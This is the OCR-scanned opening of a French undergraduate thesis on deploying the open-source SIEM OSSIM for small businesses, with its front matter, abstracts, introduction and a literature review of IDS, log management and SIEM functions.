REPUBLIQUE DU BENIN
MINISTERE DE UENSEIGNEMENT SUPERIEUR
ET DE LA RECHERCHE SCIENTIFIQUE

UNIVERSITE D’ABOMEY-CALAVI ‘ <
INSTITUT DE FORMATION ET DE I I
RECHERCHE EN INFORMATIQUE V

BP 526 Cotonou Tel : +229 55 028 070 / 53 973 060
https://www.ifri-uac.bj Courriel : contact@ifri.uac.bj

MEMOIRE

pour I’obtention du
Diplome de Licence en Informatique
Option : Sécurité Informatique

Présenté par :
Iboukoun Aymar Hugues TOKOU

Mise_en ceuvre d’une solution SIEM a I’aide
d’outils open-source : Cas de OSSIM

Sous la supervision de :
Miranda GNONLONFOUN

Ing Réseaux et Systéemes d’Information

Membres du jury :
Dr OUSMANE Matine IFRI  Président

Ing SEHLOUAN Herman IFRI Examinateur
Ing GNONLONFOUN Miranda IFRI Rapporteur

Année Académique : 2021-2022


https://www.ifri-uac.bj
mailto:contact@ifri.uac.bj

Sommaire

Dédicace

Remerciements

Table des figures

Liste des tableaux

Liste des acronymes
Résumé

Abstract

1 Revue de littérature

2 Analyse, choix techniques et déploiement de la solution
3 Résultats et discussion
Conclusion

Bibliographie
Webographie

Table des matiéres

ii

iii

iv

vi

vii

viii

16

28

43

44

45

47



Dédicace

A ma famille, pour votre patience et votre soutien inestimable tout au long de ce parcours.

il



Remerciements

La réalisation de ce projet a été rendue possible grace a certaines personnes que nous tenons sinceérement a

remercier. Nos remerciements vont principalement a 1’endroit de :

e Monsieur Eugene C. EZIN, Professeur titulaire des Universités du CAMES, Directeur de I’IFRI.

* Monsieur Gaston EDAH, Professeur titulaire des Universités du CAMES, Directeur Adjoint, Chargé des
affaires académiques de I'IFRI.

* Madame Miranda GNONLONFOUN, Ingénieur Réseaux et Télécoms, Enseignante a I’IFRI, mon maitre
de mémoire qui malgré ses nombreuses occupations a su m’encadrer et me conseiller pour la réalisation

de ce travail.

* Au corps professoral de I'Institut de Formation et de Recherche en Informatique de I’ Université d’ Abomey-
Calavi (IFRI-UAC), qui ceuvre pour fournir les ressources nécessaires a la réussite de notre étude univer-

sitaire.

* Mon pere bien-aimé Elie Affoukou TOKOU qui m’a quitté a quelques mois de cette soutenance, en

hommage de sa foi en moi et a tout ce qu’il m’a appris.
e Ma tendre mere Justine AKPO, pour ses multiples sacrifices et ses prieres tout au long de mes études.

* Mes freres et soeurs, pour le soutien et I’amour inconditionnels & mon égard.

Que tous ceux qui nous ont aidés d’une maniere ou d’une autre, trouvent ici I’expression de nos sentiments,

les meilleurs.

il



Table des figures

1.1

2.1
2.2
2.3
24
2.5
2.6
2.7
2.8
29
2.10
2.11
2.12
2.13

3.1
3.2
33
34
3.5
3.6
3.7
3.8
39
3.10
3.11
3.12
3.13
3.14
3.15
3.16
3.17
3.18

Comparaison des fonctionnalités apportées par les HIDS, NIDSetSIEM . . . . ... ... .. 5
Différences entre la version commerciale et la version gratuite de AlienVault . . . . . . . .. 19
Logode AlienVault OSSIM . . . . . . . . . L e e e e 19
Architecture de OSSIM . . . . . . . . . L 21
Flux de données du serveur OSSIM . . . . . . . . . . . . e 22
Accueill GNS3 . . . . e 23
Logode DVWA . . . . e e e e e 23
Logode Pfsense . . . . . . . . . . . e e e e e 23
Logo Oracle Virtualbox . . . . . . . . . . e 24
Logodemetasploit . . . . . . . . . . . e e e e e 24
Interface OSSIM . . . . . . . L e e 26
Interface de configurationde base ’OSSIM . . . . . . . . . . ... ... ... 26
Page de configuration d’OSSIM pour la premiere connexion . . . . . ... ... ... .... 27
Interface web de connexion a 'interface web d’OSSIM . . . . . . ... ... ... ... ... 27
Architecture du Réseaude [aPME . . . . . . ... ... L L 29
Assignation des interfaces réseaux de pfsense . . . . . . .. L. oL 31
Tableaude bord de pfsense . . . . . . . . . . . . ... e 31
Définition des aliases dans pfsense . . . . . . . . . . . ... 32
Regles de filtrage de 'interface WAN . . . . . . . . . ... o e 32
Regles de filtrage de I'interface DMZ-WEB . . . . . . ... ... ... ... L. 33
Regles de filtrage de I'interface DMZ-MONIT . . . . . . ... ... ... . ... 33
Regles de filtrage de 'interface LAN . . . . . . . . . . . . . ... .. . 34
Page d’accueil de DVWA . . . . . . . .. e 34
Apercu de I'interface des attaques webde DVWA . . . . . . . .. ... .. ... ....... 35
Tableau de bord de OSSIM . . . . . . . . . . . e 37
Ajout d’un utilisateur . . . . . . .o L. e e e e e e 38
Analyse des événements surleréseau . . . . . . ... oL oL oo 39
Statut des agents déployés . . . . . . ... e 39
Détails sur 'hdte 172.16.10.2 . . . . . . . . o o e 40
Lancement de metasploit . . . . . . . . . . . e e e 40
Acces a la machine windows adistance . . . . . . ... L. oo 41
Informations de machine windows vulnérable apres I’attaque . . . . . . ... ... ... ... 42

v



Liste des tableaux

1.1

2.1
2.2
2.3

3.1

Comparaison de quelques SIEM . . . . . . . . . . . e 13
Analyse des besoins de sécurité des entreprises . . . . . ... ..ot e e . 17
Choix des composants SIEM en fonction des besoins . . . . . ... ... ... ........ 18
Caractéristiques des machines virtuelles utilisées . . . . . . . . .. .. ... ... ...... 25
Tableau des adresses réseau . . . . . . . . . ... e e 30



Liste des acronymes

AIDE :

CSIRTs :

CTI:

ELK :

HIDS :

IDS :

IETF :

IP :

IPS :

NIDS :

OSSEC :
OSSIM :

PME :

RFC:

SIEM :

VM :

XML :

Advanced Intrusion Detection Environment 5

Computer Security Incident Response Teams 9

Cyber Threat Intelligence 7
Elasticsearch, Logstash et Kibana 12
Host-based Intrusion Detection System 5
Intrusion Detection System 5

Internet Engineering Task Force 9
Internet Protocol 10

Intrusion Prevention System 4

Network Intrusion Detection System 5

Open Source Security Event Correlator 5
Open-Source Security Information and Event Management |

Petites et Moyennes Entreprises 1

Request For Comments 9

Security Information and Event Management |

Virtual Machine 12

eXtensible Markup Language 9

vi



Résumé

La sécurité informatique est devenue une question clé pour les organisations de toutes tailles. La protection des
données, la détection des menaces et la réponse aux incidents sont des priorités dans un monde numérique. La
mise en place d’une solution SIEM (Security Information and Event Management) est une réponse essentielle
a ces défis pour combler les limites des solutions déja existantes. Ce travail se concentre sur I’implémentation
d’une solution SIEM a I’aide d’outils open-source, avec un accent particulier sur OSSIM (Open Source Se-
curity Information Management). Elle vise a fournir un guide complet pour le déploiement et la configuration
d’OSSIM dans un environnement de sécurité informatique. Des éléments de sécurité comme des capteurs IDS,
des parefeux(pfsense) et agents ont été déployés et testés pour renforcer les besoins de sécurité en entreprise.
L’exploit eternalblue réalisé grace a un shell-reverse a permis d’accéder a une machine windows cible. Les
objectifs comprennent une compréhension approfondie des SIEM, une évaluation de I’efficacité d’OSSIM, des
recommandations pour une maintenance continue et des perspectives sur I’avenir de la sécurité informatique.
En explorant les aspects techniques, les meilleures pratiques et les défis, ce présent mémoire fournit des infor-
mations précieuses aux professionnels de la sécurité et aux chercheurs. Il souligne 1’importance de la gestion
des événements de sécurité dans un monde numérique en constante évolution et présente OSSIM comme une

solution prometteuse a ces défis.

Mots clés : SIEM, OSSIM, outils open-source, shell-reverse, gestion des événements de sécurité.
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Abstract

IT security has become a key issue for organisations of all sizes. Data protection, threat detection and incident
response are priorities in a digital world. The implementation of a SIEM (Security Information and Event Man-
agement) solution is an essential response to these challenges, to overcome the limitations of existing solutions.
This work focuses on the implementation of a SIEM solution using open-source tools, with particular empha-
sis on OSSIM (Open Source Security Information Management). It aims to provide a comprehensive guide
to deploying and configuring OSSIM in an IT security environment. Security elements such as IDS sensors,
firewalls (pfsense) and agents have been deployed and tested to reinforce the security needs of the enterprise.
The eternalblue exploit, carried out using a reverse shell, enabled access to a target Windows machine. The
objectives include an in-depth understanding of SIEMs, an assessment of the effectiveness of OSSIM, recom-
mendations for ongoing maintenance and perspectives on the future of IT security. By exploring technical
aspects, best practices and challenges, this brief provides valuable information for security professionals and
researchers. It highlights the importance of security event management in an ever-changing digital world, and

presents a number of recommendations for the future.

Key words: SIEM, OSSIM, open-source tools, shell-reverse, security events management.
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Introduction Générale

Dans un monde de plus en plus interconnecté et numérisé, la sécurité informatique est devenue une préoccu-
pation majeure pour les organisations de toutes tailles. Les cybermenaces, qu’elles soient d’origine interne
ou externe, évoluent en complexité et en sophistication, mettant en danger la confidentialité, 1’intégrité et la
disponibilité des données. Face a ces défis, les entreprises et les entités gouvernementales cherchent des so-
lutions efficaces pour protéger leurs actifs informatiques. La gestion des informations de sécurité est au cceur
de cette défense. Les entreprises ont besoin de mécanismes de surveillance et d’analyse pour détecter rapi-
dement les activités suspectes, répondre aux incidents de sécurité et anticiper les menaces potentielles. C’est
ici qu’interviennent les systémes Security Information and Event Management (SIEM), des outils essentiels
dans I’arsenal de la sécurité informatique. L’ objectif de cette étude est d’apporter une contribution précieuse a
I’amélioration de la sécurité informatique aux Petites et Moyennes Entreprises (PME) et d’examiner comment
les solutions SIEM open source, en particulier Open-Source Security Information and Event Management (OS-
SIM), peuvent constituer une réponse stratégique aux besoins des entreprises en matiere de sécurité. OSSIM

est un projet open source robuste et sécurisé, développé pour fournir une solution SIEM complete et fiable.

0.1 Problématique

Aujourd’hui, de nombreuses entreprises sont confrontées a des menaces et des attaques en raison des diffi-
cultés qu’elles rencontrent dans la détection et la gestion des événements de sécurité. Pourtant, elles utilisent
généralement déja des IDS et des IPS pour détecter et prévenir les intrusions dans leurs systemes d’information.
Cependant, ces outils de sécurité ne sont pas suffisants, compte tenu du flux de données a traiter et de I’évolution
de I'internet. Afin de répondre aux besoins de sécurité des entreprises et de faciliter la tiche des administrateurs
de sécurité, nous proposons une solution SIEM basée sur OSSIM, un outil open source qui assure la gestion des
informations et des événements de sécurité, la collecte des logs et des événements, la corrélation des données

et le reporting de sécurité.

0.2 Contexte et justification

Avec le développement rapide des technologies de I’information et les défis croissants en matiere de sécu-
rité informatique, les entreprises sont de plus en plus dépendantes des systeémes informatiques et des données
numériques, exposant leurs actifs a un large éventail de menaces potentielles, allant des cyberattaques sophis-
tiquées aux erreurs humaines accidentelles. C’est pourquoi les solutions de gestion des informations et des
événements de sécurité (SIEM) se sont imposées comme une réponse essentielle pour surveiller, analyser et
réagir aux événements liés a la sécurité dans un environnement informatique. Cependant, le déploiement de
ces solutions peut s’avérer coliteux en raison des frais de licence, de mise en ceuvre et de maintenance aux
solutions commerciales. C’est 1a que les outils open source tels qu’OSSIM entrent en jeu, offrant une alterna-

tive prometteuse aux organisations qui cherchent a renforcer leur posture de sécurité sans compromettre leurs
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budgets limités. OSSIM, en tant que solution SIEM open source, permet aux entreprises d’exploiter des fonc-
tionnalités similaires a celles des solutions commerciales, mais a moindre cofit. La mise en ceuvre d’OSSIM en
tant que solution permettra donc une flexibilité d’utilisation et une personnalisation pour répondre aux besoins

associés a I’organisation.

0.3 Objectifs

L’objectif général de notre travail est de mettre en place avec succes un systeme pour renforcer la sécurité
informatique, en permettant la collecte, I’analyse et la gestion des informations de sécurité et des événements.

Spécifiquement, ce systeme permettra de:

* Comprendre le concept de SIEM et son importance dans la sécurité informatique. ;

* Examiner les différentes solutions SIEM open-source disponibles, en mettant I’accent sur OSSIM, ses

fonctionnalités et ses caractéristiques spécifiques;

» Etudier les exigences et les étapes nécessaires pour valider OSSIM dans un environnement informatique

existant;

 Effectuer quelques tests d’utilisation d’OSSIM ;

Evaluer I’efficacité d’OSSIM en termes de détection d’incidents de sécurité, de gestion des journaux et

de reporting ;

* de donner des recommandations et des perspectives futures.

0.4 Organisation du mémoire

Ce présent travail de recherche est organisé en trois chapitres. Le premier est une revue de la littérature con-
sacrée a I’état de I’art. Le deuxieme chapitre analyse et explique les choix techniques effectués et le déploiement

de la solution. Enfin, le troisieme chapitre présente et analyse les résultats obtenus lors des tests effectués.



Chapitre

Revue de littérature

Introduction

Dans ce chapitre, nous nous concentrerons principalement sur I’examen plus détaillé des fonctionnalités, des
avantages et des applications du SIEM, et nous soulignerons I’'importance croissante des solutions open source

telles qu’OSSIM dans le monde moderne de la sécurité de I’information.

1.1 Les Enjeux de Sécurité Informatique

1.1.1 La sécurité informatique

Avant de clarifier le concept de la sécurité informatique, il est important de définir les termes "systéme infor-
matique" et "systeme d’information" afin de permettre de mieux cerner la différence entre ces deux expressions
qui font souvent 1’objet de confusion.

Systéme informatique Un systeme informatique est un ensemble de dispositifs (matériels et logiciels)
associés, sur lesquels repose un systeéme d’information. Il est constitué généralement des serveurs, routeurs,
pare-feu, commutateurs, imprimantes, médias (cables, air, etc.), points d’acces, stations de travail, systeémes
d’exploitation, applications, bases de données, etc.

Systéme d’information Un systéme d’information est un ensemble de moyens (humains, matériels, logi-
ciels, etc.) organisés permettant d’élaborer, de traiter, de stocker et/ou de diffuser de I’information grace aux
processus ou services. Un systéme d’information est généralement délimité par un périmeétre pouvant com-
prendre des sites, des locaux, des acteurs (partenaires, clients, employés, etc.), des équipements, des processus,
des services, des applications et des bases de données.

La sécurité informatique est donc un ensemble de moyens techniques, organisationnels, juridiques et hu-
mains nécessaires et mis en place pour conserver, rétablir, et garantir sa sécurité. En général, la sécurité d’un

systeme d’information englobe celle du systeéme informatique sur lequel il s’ appuie.

1.1.2 Principes de la sécurité informatique

La sécurité d’un systeme informatique peut s’évaluer sur la base d’un certain nombre de criteres de sécurité.

On distingue généralement cinqg principaux critéres de sécurité :
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—

. Disponibilité : Elle consiste a garantir I’acces en temps réel a un service ou a une ressource.

2. Intégrité : Elle consiste a s’assurer que les données n’ont pas été altérées ou modifiées durant la com-

munication (de maniére fortuite ou intentionnelle).

3. Confidentialité : Elle consiste a rendre I’information inintelligible et inaccessibles a d’autres personnes

que les seuls acteurs concernés.

4. Authentification : Elle consiste a assurer I’identité d’un utilisateur, c’est-a-dire de garantir a chacun des

correspondants que son partenaire est bien celui qu’il croit &tre.
5. Non répudiation : Elle consiste a garantir qu’aucun des correspondants ne pourra nier son implication
dans une action a laquelle il a participé.
1.1.3 Les enjeux de la sécurité informatique

Le risque en termes de sécurité informatique, est la probabilité qu’une attaque survienne. Il est généralement

caractérisé par 1’équation suivante :

menace X vulnrabilites
Risque = (1.1)
contre — mesure

La menace (ou « threat » en anglais) est toute cause potentielle d’incident. Tout ordinateur connecté a un
réseau informatique est potentiellement vulnérable a une attaque, tandis que la vulnérabilité (« vulnerability »
en anglais), appelée parfois faille ou bréche représente le niveau d’exposition face a la menace. Elle peut étre
une erreur de conception (bug) pouvant altérer la sécurité du systeme. On peut trouver des vulnérabilités au
niveau du systéme d’exploitation, au niveau applicatif ou bien au niveau du réseau. Enfin La contre-mesure
est I’ensemble des actions mises en ceuvre en prévention de la menace. Les contre-mesures a mettre en ceuvre
ne sont pas uniquement des solutions techniques mais également des mesures de formation et de sensibilisation
a Iintention des utilisateurs, ainsi qu’un ensemble de regles clairement définies. Afin de pouvoir sécuriser un
systeme, il est nécessaire d’identifier les menaces potentielles, et donc de connaitre et de prévoir la fagon de
procéder de I’ennemi.

Une attaque informatique est 1’exploitation d’une faille d’un systéme informatique (systeme d’exploitation,
logiciel ou bien méme de I'utilisateur) a des fins non connues par I’exploitant du systeéme et généralement
préjudiciables. Les attaques touchent généralement trois composantes du systeme a savoir la couche réseau, le

systeme d’exploitation et la couche applicative.

1.1.4 Les IPS et IDS
1.1.4.1 Intrusion Prevention System (IPS)

Un systeme de prévention des intrusions Intrusion Prevention System (IPS) est une forme de sécurité de réseau
qui sert a détecter et prévenir les menaces identifiées. Les systemes de prévention des intrusions surveillent
en permanence votre réseau, recherchant les éventuels actes de malveillance et capturent des informations a
leur sujet. L'IPS signale ces événements aux administrateurs du systéme et prend des mesures préventives,
telles que la fermeture des points d’acces et la reconfiguration des firewalls pour empécher de futures attaques.
Les solutions IPS peuvent également étre utilisées pour identifier les problemes liés aux politiques de sécurité
de I’entreprise, afin de dissuader les employés et les invités du réseau d’enfreindre les regles incluses dans
ces politiques. Un réseau d’entreprise typique ayant une multitude de points d’acces, il est essentiel que vous

disposiez d’un moyen de surveiller les signes d’effraction potentielle, d’incidents et de menaces imminentes.

4
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Les menaces réseau actuelles sont de plus en plus sophistiquées et capables d’infiltrer toutes les solutions de
sécurité, méme les plus robustes.
1.1.4.2 Intrusion Detection System (IDS)

La détection d’intrusions est le processus de surveillance des événements se trouvant dans un systeme d’ordi-
nateurs ou de réseau et les analysant pour détecter les signes des intrusions, défini comme des tentatives pour
compromettre la confidentialité, I'intégrité, la disponibilité ou éviter des mécanismes de sécurité de 1’ordina-
teur ou du réseau. Le systeme de détection des intrusions est un logiciel ou un matériel qui automatise des
surveillances et les processus analysés. Nous avons plusieurs types d’ Intrusion Detection System (IDS) dis-
ponibles de nos jours qui sont caractérisés par des surveillances différentes et des approches d’analyse, on cite

essentiellement trois types des IDS, comme suit :

e Les IDS réseau (Network Intrusion Detection System (NIDS)) : Snort; Bro; Suricata ; Enterasys ; Check
Point; Tipping point; etc.

* Les IDS hote (Host-based Intrusion Detection System (HIDS)) : Advanced Intrusion Detection Envi-
ronment (AIDE); Chkrootkit; DarkSpy; Fail2ban; IceSword; Open Source Security Event Correlator
(OSSEC); Rkhunter ; Rootkit Unhooker ; Tripwire ; etc.

e Les IDS hybrides : Prelude ; OSSIM; etc.

NIDS HIDS SIEM

Source de l'attaque v x v
Payload envoyé v X v

Action effectuée sur le systéeme x ./ ./

Action réussie X ’ v v

FIGURE 1.1 : Comparaison des fonctionnalités apportées par les HIDS, NIDS et SIEM

De I’analyse de la figure ci-dessus, on peut dire que les NIDS prennent en charge les parametres tels que la
source de I’attaque et le payload envoyé alors que les HIDS se basent sur ’action effectuée sur le systeme et

I’action réussie. Le SIEM quant a lui tient compte de tous ces parametres.

1.1.5 Log Management
1.1.5.1 Définition de log

Un log est un enregistrement détaillé des événements, des activités ou des transactions qui se produisent dans un
systeme informatique ou sur un réseau. Ces enregistrements, appelés journaux d’événements ou logs, sont es-
sentiels pour la surveillance de la sécurité, 1a résolution des problémes, la conformité réglementaire et I’analyse

post-incident.



Chapitre 1. Revue de littérature 1.1. Les Enjeux de Sécurité Informatique

La gestion des logs, ou log management en anglais, désigne 1’ensemble des pratiques, des processus et
des outils utilisés pour collecter, stocker, analyser, archiver et gérer les journaux d’événements générés par les
composants informatiques. Cette gestion permet de répondre aux besoins de sécurité, de conformité et d’analyse
des événements. Elle implique souvent I’ utilisation de solutions dédiées, telles que les systemes SIEM (Security
Information and Event Management), pour automatiser et faciliter ces processus.

On divise le monde du Log Management en deux parties bien distinctes :

¢ La centralisation/collecte/rétention ;
» L’agrégation/corrélation (SIEM).

Le Log Management s’applique a toutes les utilisations possibles des logs. Il est doté d’une sortie élevée,
accepte une grande capacité de rétention, collecte et stocke les logs au format brut. Il a une grande capacité de
rapports et une recherche tres rapide. Il est orienté vers ’investigation.

1.1.5.2 La supervision (Monitoring)

Le monitoring, ou surveillance en frangais, désigne le processus continu de collecte, d’observation et d’ana-
lyse des données et des événements d’un systeme informatique ou d’un réseau. Le monitoring en sécurité
informatique permet de détecter les comportements anormaux, les menaces potentielles, et de garantir le bon
fonctionnement des mesures de sécurité. La plupart de ces outils permettent de nombreuses fonctions dont voici

les principales :
 Surveiller le systeéme d’information
* Visualiser I’architecture du systéme
e Analyser les problemes

* Déclencher des alertes en cas de problemes

Effectuer des actions en fonction des alertes.

La tache de I’administrateur est alors simplifiée. Il n’a plus qu’a faire une vérification ou réaliser une
action en fonction d’une alerte déclenchée. Chaque outil doit aussi lui donner une vision globale du systeéme
d’information pour localiser les problémes le plus rapidement possible grace aux métriques.

Les métriques sont des mesures quantitatives utilisées pour évaluer, surveiller et quantifier divers aspects
d’un processus, d’un systeme ou d’une performance. En sécurité informatique, les métriques sont couram-
ment utilisées pour évaluer I’efficacité des mesures de sécurité, la fréquence des incidents, la performance des

systemes de détection d’intrusion, la conformité aux politiques de sécurité, etc.

1.1.5.3 Les événements et les informations de sécurité

e Les informations de sécurité informatique font référence a toutes les données, les connaissances et les
éléments liés a la sécurité d’un systeme informatique, d’un réseau ou d’une application. Cela englobe les
détails sur les menaces potentielles, les vulnérabilités, les incidents de sécurité, les politiques de sécurité,
les mesures de sécurité mises en place, et plus encore. Ces informations sont essentielles pour la gestion

et la protection efficaces de la sécurité informatique.
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* Les événements de sécurité informatique sont des actions, des incidents ou des activités qui se produisent
dans un environnement informatique et qui ont une importance en termes de sécurité. Ces événements
peuvent inclure des tentatives d’intrusion, des changements de configuration, des acces non autorisés,
des alertes générées par des systemes de détection d’intrusion, et d’autres actions qui peuvent affecter la

sécurité des données et des systemes.

1.2 SIEM (Security Information and Event Management)

Pour optimiser leur sécurité informatique, les organisations et entreprises de toutes tailles doivent pouvoir
surveiller leurs réseaux et systemes d’information, afin d’identifier les actions malveillantes qui les menacent

et se prémunir de potentielles attaques avant qu’elles ne causent de graves dommages.

1.2.1 Historique et théorie sur le concept de SIEM

Le terme S.ILE.M. a été congu en 2005 par Mark Nicolett et Amrit Williams, deux analystes du GARTNER.
A I’époque, deux types de solutions complémentaires mais distinctes géraient les données de sécurité des sys-
temes d’information : les S.E.M. et les S.I.M. IIs ont noté le rapprochement évident des outils de gestion des
journaux ou S.I.M. (Security Information Management, Gestion des informations de sécurité en Frangais) et des
programmes de suivi d’événements de sécurité ou S.E.M. (Security Event Manager, Gestion des événements
de sécurité en Francais). Ces derniers analysent, en temps réel, les événements du réseau, puis effectuent une
corrélation afin de détecter la cause initiale du probleme. Ils peuvent ensuite déclencher I’alerte adaptée vers
I’administrateur pouvant corriger la faille, arréter un processus ou fermer un port. Les deux inventeurs de ces
termes mettent en évidence la nécessité de combiner ces deux outils pour mieux piloter la sécurité et créent le
terme S.I.LE.M. (Security Information and Event Management). Le S.I.LE.M. devient alors un outil actif de la sé-
curité. Des lors, les S.I.LE.M. ont beaucoup évolué. Par rapport a la définition de 2005, il faut rajouter aujourd’hui
dans les capacités des S.I.LE.M. des capacités de combinaison avec les Cyber Threat Intelligence (CTI)(Cyber
Threat Intelligence, renseignements sur les cybers menaces en Francais) externe ou encore des fonctionnali-
tés d’Intelligence Artificielle telles que le « machine learning » pour améliorer les capacités de détection. La
demande de systemes SIEM dans les organisations est une constante les dernieres années. Comme 1’indique
Forecast, dans « Information Security, Worldwide, 2015-2021, 3T17 Update », les ventes de la technologie
SIEM ont augmenté de 2001 billions de dollars en 2015 a 2,167 billions de dollars par an 2016.

1.2.2 Définition des SIEM et leur role dans la sécurité informatique

Les solutions SIEM (Security Information and Event Management) sont des outils essentiels dans le domaine
de la sécurité informatique. Elles jouent un role central dans la surveillance, la détection et la réponse aux
menaces potentielles au sein des environnements informatiques.

Les SIEM sont congus pour collecter, agréger et analyser des données liées a la sécurité a partir de diverses
sources, telles que des journaux d’événements, des systemes d’exploitation, des applications, des dispositifs
réseau, et bien d’autres. Ils permettent ensuite de corréler ces données pour identifier des schémas et des com-
portements suspects. En bref, les SIEM fournissent une vue consolidée et en temps réel de I’état de la sécurité
d’un systeme ou d’un réseau.

La solution SIEM permet de surveiller des applications, des comportements utilisateurs et des acces aux
données. A travers les fonctionnalités fournies par cette solution, il est donc possible de collecter, de mettre dans

un format de normalisation, d’agréger, de corréler et d’analyser les données des événements issus des machines,
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systémes et applications (pare-feu, systemes de prévention d’intrusion, machines réseau, machines de sécurité,
applications, bases de données, serveurs). Le principe d’un SIEM consiste a examiner depuis un guichet unique
les données relatives a la sécurité de I’entreprise qui sont générées en de nombreux points. Cette approche
facilite I’identification d’éventuels comportements inhabituels au sein du systeme informatique de 1’entreprise.
Concretement, le SIEM permettra a une entreprise de centraliser toutes les informations de sécurité en un seul

outil.

1.2.3 La différence entre un SIM, SEM et SIEM

Les solutions de gestion des informations et des événements de sécurité (SIEM) aident les organisations a dé-
tecter, analyser et réagir aux menaces liées a la sécurité avant qu’elles ne nuisent a leur activité professionnelle.

Nous allons mieux clarifier chacun de ces termes pour éviter les confusions.

SIEM : Systeme de Gestion des Informations et des Evénements de Sécurité (Security Information and Event
Management). Le SIEM est une solution de sécurité informatique qui collecte, agrege, analyse et correle
les données de sécurité a partir de différentes sources au sein d’un environnement informatique. Il permet
de détecter les menaces potentielles, de générer des alertes en temps réel, de produire des rapports de

sécurité et d’offrir une vue d’ensemble de la posture de sécurité d’une organisation.

SIM : Systeme de Gestion des Evénements de Sécurité (Security Information Management). Le SIM se concentre
principalement sur la collecte, le stockage et la gestion des journaux d’événements de sécurité provenant
de diverses sources. Contrairement au SIEM, le SIM ne met généralement pas autant ’accent sur la

corrélation en temps réel des événements ou la détection des menaces.

SEM : Systeme de Gestion des Evénements de Sécurité (Security Event Management). Le SEM se concentre
sur la corrélation en temps réel des événements de sécurité pour détecter les schémas suspects ou les com-
portements anormaux. Cependant, contrairement au SIEM, le SEM ne se penche pas autant sur I’analyse

des informations ou la gestion des informations & long terme.

1.2.4 Fonctionnement des S.I.LE.M.

Pour permettre au systeme d’identifier des événements anormausx, il est important que 1I’administrateur S.I.LE.M.
élabore en premier lieu un profil du systéme dans des conditions normales de fonctionnement.

Au niveau le plus simple, un systeme S.I.LE.M. peut reposer sur des regles ou utiliser un moteur de corréla-
tion statistique pour établir des relations entre les entrées du journal des événements. Sur certains systémes, un
pré-traitement peut intervenir au niveau des collecteurs. Seuls certains événements sont alors transmis au nceud
d’administration centralisé. Ce pré-traitement permet de réduire le volume d’informations communiquées et
stockées. Toutefois, cette approche comporte le risque de filtrer des événements pertinents de maniere précoce.
Les SIEM permettent :

A. La collecte

Le principe de la collecte est de fournir au SIEM des données a traiter. Ces données peuvent étre de nature
diverse en fonction de I’équipement ou du logiciel, mais aussi étre envoyées de manieres tout a fait différentes.

On distingue deux modes de fonctionnement :

* Mode actif : 1a plupart des SIEM fonctionnent en déployant une multitude d’agents de collecte de maniére
hiérarchique sur les équipements a superviser. Ces agents ont pour fonction de récupérer les informations
des appareils des utilisateurs, des serveurs, des équipements réseau, voire des équipements spécialisés de

sécurité, tels que les pares-feux, ou encore les systémes antivirus et anti-intrusions, et aussi des logiciels
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de sécurité et de les envoyer au SIEM. Un élément de sécurité qui a été concu nativement pour &tre un
agent du SIEM est appelé une « sonde »;

* Mode passif : SIEM est en écoute directe sur les équipements a superviser. Pour cette méthode, c’est

I’équipement ou le logiciel qui envoie des informations sans intermédiaire au SIEM.

B. La normalisation

Les informations collectées viennent d’équipements et logiciels hétérogenes ayant pour la plupart leurs
propres moyens de formater les données. Cette étape permet d’uniformiser les informations selon un format
unique pour faciliter le traitement par le SIEM. Des formats sont mis au point par 1’ Internet Engineering
Task Force (IETF) sous forme de Request For Comments (RFC) pour structurer les informations de sécurité et

pouvoir les échanger et les traiter plus facilement. C’est pourquoi il est plus judicieux de les énumérer :

e IDMEEF (Intrusion Détection Message Exchange Format) : C’est un standard, défini dans la R.E.C. 4765,
permettant I’interopérabilité entre les systeémes commerciaux, libres et a codes sources ouverts et de
recherche. Il est basé sur le format XML et est un format congu pour définir les événements et des alertes
de sécurité. Il est également adapté pour le stockage en base de données, I’affichage et la gestion des

informations.

* IODEF (Incident Object Description and Exchange Format) : C’est un standard, défini dans la R.E.C.
5070, représentant les informations de sécurité échangées entre les équipes Computer Security Incident
Response Teams (CSIRTs) en Anglais. Il est basé sur le format eXtensible Markup Language (XML) et
est un format congu pour transmettre des incidents de sécurité entre les domaines administratifs et les
parties qui ont une responsabilité opérationnelle. Ce modele de données encode I’information des hotes,

des réseaux, des services, etc.

La normalisation permet ainsi de faire des recherches multi-criteres, sur un champ ou sur une date. Ce sont
ces événements qui seront enrichis avec d’autres données puis envoyés vers le moteur de corrélation.

C. L’agrégation

L’agrégation est le premier traitement des évenements de sécurité. Il consiste en un regroupement d’évene-
ments de sécurité selon certains criteres. Ces criteres sont généralement définis a travers des regles appelées «
regles d’agrégation » et s’appliquent a des évenements ayant des similarités. Plusieurs regles de filtrage peuvent
étre appliquées. Ils sont ensuite agrégés selon les solutions, puis envoyés vers le moteur de corrélation.

D. La corrélation

La corrélation correspond a I’analyse d’événements selon certains criteres. Ces criteres sont généralement
définis a travers des regles appelées « regles de corrélation ». Le but de cette étape est d’établir des relations
entre éveénements, pour ensuite pouvoir créer des alertes de corrélations, des incidents de sécurités, des rapports

d’activité. La corrélation se différencie sur plusieurs points :

* Auto-apprentissage et connaissances rapportées : Pour pouvoir fonctionner, les moteurs de corrélation
ont besoin d’informations sur les systemes et réseaux de I’infrastructure. Ces informations peuvent étre

collectées automatiquement et/ou saisies manuellement par un opérateur;

» Temps réel et données retardées : Dans certains cas, les évenements bruts sont forgés et envoyés directe-
ment pour étre corrélés en temps réel. Dans d’autres cas, les événements sont d’abord stockés, et envoyés

apres un premier traitement (ex : agrégation), leur envoi peut étre alors conditionné ;

» Corrélation active et passive : La corrélation active a la possibilité de compléter les événements regcus en

recueillant des informations supplémentaires pour prendre des décisions. La corrélation passive est une
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corrélation qui ne peut pas interagir avec son environnement, elle recoit des évenements et prend des

décisions.

Les regles de corrélation permettent d’identifier un événement qui a causé la génération de plusieurs autres
(un hacker qui s’est introduit sur le réseau, puis a manipulé tel équipement, etc). Elles permettent aussi de
remonter une alerte via un courriel, SMS ou ouvrir un ticket si la solution S.I.LE.M. est interfacée avec un outil
de gestion de tickets.

E. Le reporting

Les S.LE.M. permettent également de créer et générer des tableaux de bord et des rapports. Ainsi, les
différents acteurs du systeme d’information, responsables sécurité du systeéme d’information, administrateurs,
utilisateurs peuvent avoir une visibilité sur le systeme d’information (nombre d’attaques, nombre d’alertes par
jour...).

F. L’archivage

Les solutions S.I.LE.M. sont utilisées également pour des raisons juridiques et réglementaires. Un archivage
a valeur probante permet de garantir I’intégrité des traces. Les solutions peuvent utiliser du chiffrement par
exemple pour garantir I’intégrité des traces.

G. Le rejeu des évéenements

La majorité des solutions permettent également de rejouer les anciens événements pour mener des enquétes
post-incidentes. Il est également possible de modifier une regle et de rejouer les événements pour voir son

comportement.

1.3 Les Missions d’un SIEM

